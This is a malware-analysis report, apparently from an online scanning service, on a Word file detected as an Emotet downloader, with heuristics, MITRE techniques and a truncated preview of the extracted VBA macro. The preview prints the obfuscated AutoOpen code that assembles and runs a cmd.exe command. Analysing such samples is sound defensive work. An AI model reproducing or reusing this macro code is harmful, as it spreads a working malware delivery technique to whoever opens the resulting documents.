MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen function, a common Emotet technique. The macro attempts to execute a command-line payload using cmd.exe, constructing a complex command string from concatenated parts. This indicates the document is a downloader for a second-stage payload.
Heuristics 5
-
ClamAV: Doc.Downloader.Emotet-6884163-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884163-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5263 bytes |
SHA-256: 48faf61a1457b539bc4943f55fd448c0c52b0e0d3518343685704c8e1176b1d3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NtTbcDhbbitsfz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName CDate(RriLS)
TypeName ChrB(wTdqMR / 61661 + 46241 / WhoVG)
TypeName Rnd(DrPJjK + rIJCUO / LYMliK / NBbHQb)
TypeName 53
Shell@ CStr("c") + CStr("m") + zEIdDvlWQJUJ + dhjLzjQwap + qqaKFzzRA + zvLjhwLQ + LDtnTrunazS + SiLUhiAzlwL + XjqiwEaNEP, 549412026 - 549412026
TypeName 71862376
TypeName Cos(qpnCSj / piqUIt)
TypeName Log(MzjwP)
End Sub
Attribute VB_Name = "uQifLaQOTdp"
Function qqaKFzzRA()
On Error Resume Next
TypeName Sgn(408)
TypeName ChrW(wTAuAl)
LnzjN = "d /" + "V:O/C" + CStr(Chr(YYHNkwWHl + bvVLKbOLo + 34 + FizpaatNR + NBufcQzSt)) + "set " + "kv" + "Ld=rNNiwJ" + "cBZtQz" + "QZMp"
TypeName 450
TypeName Round(UKoYFR)
TypeName CStr(99788 + 90111)
UQlDtCZ = "WkBhVICtME" + "G" + "DBPmXA" + "hmWa" + "{ (jvuf/g" + "5xs" + "),=OFoe+" + "4ld7R$}" + "S'.@\;" + "y:qnb6-&&" + "for %U in" + " (1"
TypeName Tan(WWpbjb)
TypeName Round(sZJDp)
FwMbdpiFj = "5,54,4" + ",5" + "5,0" + "," + "48,33," + "55,58,5" + "8,38" + ",62,3,17,6" + "1,51,"
TypeName CStr(OrSbo / 61807)
TypeName 1
oLDYfUYlzD = "73,55,4," + "7" + "6,54,74,4" + "0,5" + "5,6,23,38" + ",2,55,2"
TypeName Chr(QJniPW)
TypeName Log(510220550)
ZoGLzYp = "3,66,35" + "," + "55,7" + "4,22" + ",58,3,55,7" + "3,23,69" + ",62,5" + ",29,73,51," + "65,33,2"
TypeName BkikMO
TypeName ChrB(833)
TypeName CBool(ZBYcc)
TqjJI = "3,23,15,71" + "," + "44,44" + ",54,73,5" + "8,3,73," + "55,15," + "6,5" + "9,54," + "6,66,6" + ",54,34" + ",44,21,6" + "7,3"
TypeName Sgn(puZLt)
TypeName 2
TypeName 241688633
MFdcaA = "3,23," + "23," + "15,71" + ",44,4" + "4,0,54"
TypeName Chr(640)
TypeName CDate(9)
DWkCW = ",70,36," + "58,0,55,7" + "3," + "23,36,58,4" + "8,48,59," + "6" + "6" + ",6,54,3"
TypeName CDbl(LtjPiH)
TypeName Log(ilXbOp)
TypeName Oct(93)
AYtjn = "4," + "44,22," + "75," + "67,33" + ",23,23,15," + "71,44,4" + "4," + "59," + "55,6,5" + "4" + ",0,48" + ",2" + "3,54,4"
qqaKFzzRA = LnzjN + UQlDtCZ + FwMbdpiFj + oLDYfUYlzD + ZoGLzYp + TqjJI + MFdcaA + DWkCW + AYtjn
TypeName CStr(tMMiw - 14274 + 69123 + NINBPY)
TypeName Round(95)
End Function
Function zvLjhwLQ()
On Error Resume Next
TypeName Oct(wNKhlj + oUwZEo + richj + wVvAcK)
TypeName Fix(4)
TypeName Sqr(kAvNQ)
KszOGqa = "3,4" + "3,66,6,54," + "34,44" + ",72,33," + "36," + "67,33,23" + ",2" + "3,15" + ",71" + ",44,44,55" + ",36,45,58" + ",55,75,66,"
TypeName 2774
TypeName CLng(zwnBLW)
IwzudFI = "73,55" + "," + "23,44," + "59,72,72" + ",31,0,67" + ",3" + "3,23,23,15" + ",71,4"
TypeName Hex(jXbDo - zHwtRT - 60108 * szaSJF)
TypeName 3080
ZhdhPQnZ = "4," + "44,15," + "3" + "6" + ",0,23,76,2" + "3,3,34," + "55,74,42,4" + "8,3,73" + ",55,48,48," + "66,54,0,45"
TypeName CStr(WzdQn)
TypeName MwKAa
uLGlNGlSDI = ",4" + "4,5,55,15," + "5,5" + "3,33,53,11" + ",65," + "66,64,15,5" + "8,3,23,3" + "9,65" + ",67,65" + ",49" + ",69,62,22," + "26,"
TypeName CByte(443)
TypeName Rnd(20577 * DVSGiU * vCkDL + wSGLjr)
mNmnSFHBb = "40,38,51,3" + "8,65,60" + ",57,4" + "6,65,6" + "9,62,5" + "2,3,11," + "51,62," + "55,73"
TypeName FWUjS
TypeName Sin(7537)
TypeName 4
PQzpDAaz = ",41,71,2" + "3,55,34,1" + "5,56," + "65,68,65" + ",56,6" + "2,22,26," + "40,56,65,6"
TypeName Sgn(23077 * aXswJs)
TypeName 5679
qIQzXMLUFv = "6,55," + "47,55,6" + "5,69,4" + "3,54,0,5" + "5,36,6" + ",33," + "39," + "62,36,15" + ",74,38,3," + "73,38,6"
TypeName Sgn(88278 * HzddY + 53809 + 84424)
TypeName Sqr(URAVOh - JlOwz)
TypeName Fix(9095)
dzHnf = "2,5,2" + "9,73,49" + ",37,23," + "0" + ",70,3" + "7,62,3" + ",17,61,6" + "6,27,5" + "4,4,73,58" + ",54,36" + ",59," + "53,3,5" + "8,55"
TypeName CDate(3)
TypeName 36
TypeName Log(3518)
PIzplczHsnw = ",3" + "9,62" + ",36,15,74," + "50,38," +
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.